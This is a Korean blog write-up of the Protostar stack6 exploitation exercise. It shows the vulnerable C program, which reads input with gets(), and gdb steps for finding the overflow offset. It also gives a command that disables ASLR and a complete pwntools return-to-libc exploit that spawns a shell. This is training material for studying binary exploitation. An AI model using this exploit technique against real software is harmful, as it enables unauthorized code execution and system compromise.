stack6.c
void getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xbf000000) == 0xbf000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); } int main(int argc, char **argv) { getpath(); }
출처: http://liveoverflow.com/binary_hacking/protostar/stack6.html
1. 문제해결 및 분석
1-1. gdb ./stack6
그 전에
aslr 끄기
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
stack5처럼 쉘코드를 얻는 것이 목적인데
stack5와 다르게 if문에서 마스킹 연산을 하고 있다.
그렇다는 것은 ret의 주솟값은 b나 f보다 작아야 한다는 소리이다.
ret에는 system 주솟값이 들어가니까 system은
0x0_______~0xa_______ 혹은 0x_0______~0x_e______까지 가능
system은 0xf7로 7이 f보다 작으므로 if에 걸리지 않는다. (system 값은 아래에서 확인)
그러므로 stack5-2처럼 하면 된다.
1-2. disas main
disas main
b *main
r
print system
find /bin/sh
1-3. ret 주소값에 브레이크포인트
disas main
b *main+14
r
pattern create 100을 통해 문자생성
conti
(문자 입력)
1-4. offset 알기
where이나 bt를 통해
스택 구조를 파악할 수 있다.
코드 영역에서 이미 브레이크 포인트가 걸렸기 때문에
pattern offset 0x41414a41을 한다.
1-5. 코드 작성
from pwn import *
system = p32(0xf7e0cb30)
dummy = p32(0xFFFFFFFF)
bin_sh = p32(0xf7f4caaa) #ASLR
offset = 80
payload = 'A' * offset + system + dummy + bin_sh
p = process(['stack6'])
p.sendline(payload)
p.interactive()
성공적으로 쉘 권한을 얻었다.
참고 자료: https://www.inflearn.com/course/%ED%94%84%EB%A1%9C%ED%86%A0%EC%8A%A4%ED%83%80/
피드백 환영입니다!
'프로토스타' 카테고리의 다른 글
[프로토스타] stack7-2 (ROP) (0) | 2019.01.18 |
---|---|
[프로토스타] stack7-1 (jmp call) (0) | 2019.01.15 |
[프로토스타] stack5-2 (return to library) (0) | 2019.01.15 |
[프로토스타] stack5-1 (스택 접근) (0) | 2019.01.10 |
[프로토스타] stack4 (0) | 2019.01.09 |